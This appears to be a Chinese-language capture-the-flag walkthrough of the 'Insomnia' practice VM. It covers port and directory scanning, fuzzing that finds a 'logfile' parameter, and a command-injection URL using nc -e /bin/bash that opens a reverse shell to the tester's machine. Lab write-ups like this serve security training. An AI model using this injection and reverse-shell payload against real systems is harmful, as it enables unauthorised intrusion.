Insomnia
备注
[Linux VM] [Tested on VirtualBox] created by || alienum
⏲️ Release Date // 2021-01-28
✔️ MD5 // f6808bfec80c7348aeb449d9f2305bbd
☠ Root // 102
💀 User // 108
📝Notes // This admin is very careless.
靶机启动
靶机 IP:
192.168.56.112
nmap 信息搜集
Nmap scan report for 192.168.56.112
Host is up (0.00054s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
8080/tcp open http PHP cli server 5.5 or later (PHP 7.3.19-1)
|_http-title: Chat
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:D8:30:07 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
探测 web 服务
尝试直接访问
发现类似于一个在线聊天平台,并且经过探测,发现存在 XSS 攻击的可能性
尝试进行目录扫描,得到以下路径
[20:22:07] 200 - 65B - /administration.php
[20:22:10] 200 - 2KB - /chat.js
[20:22:25] 200 - 20B - /start.sh
对 /administration.php
文件进行 fuzz 攻击
┌─[✗]─[randark@randark-Parrot]─[~/tmp]
└──╼ $wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hh 65 'http://192.168.56.112:8080/administration.php?FUZZ=test'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.56.112:8080/administration.php?FUZZ=test
Total requests: 951
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000485: 200 2 L 12 W 69 Ch "logfile"
Total time: 2.479255
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 383.5828
发现存在参数口:logfile
经过尝试,其可以执行命令注入
http://192.168.56.112:8080/administration.php?logfile=;nc%20192.168.56.102%209999%20-e%20/bin/bash;
成功得到 shell 会话
┌─[randark@randark-Parrot]─[~]
└──╼ $pwncat-cs -lp 9999
[20:29:03] Welcome to pwncat 🐈! __main__.py:164
[20:29:45] received connection from 192.168.56.112:47920 bind.py:84
[20:29:46] 192.168.56.112:47920: registered new host w/ db manager.py:957
(local) pwncat$ back
(remote) www-data@insomnia:/var/www/html$ whoami
www-data
(remote) www-data@insomnia:/var/www/html$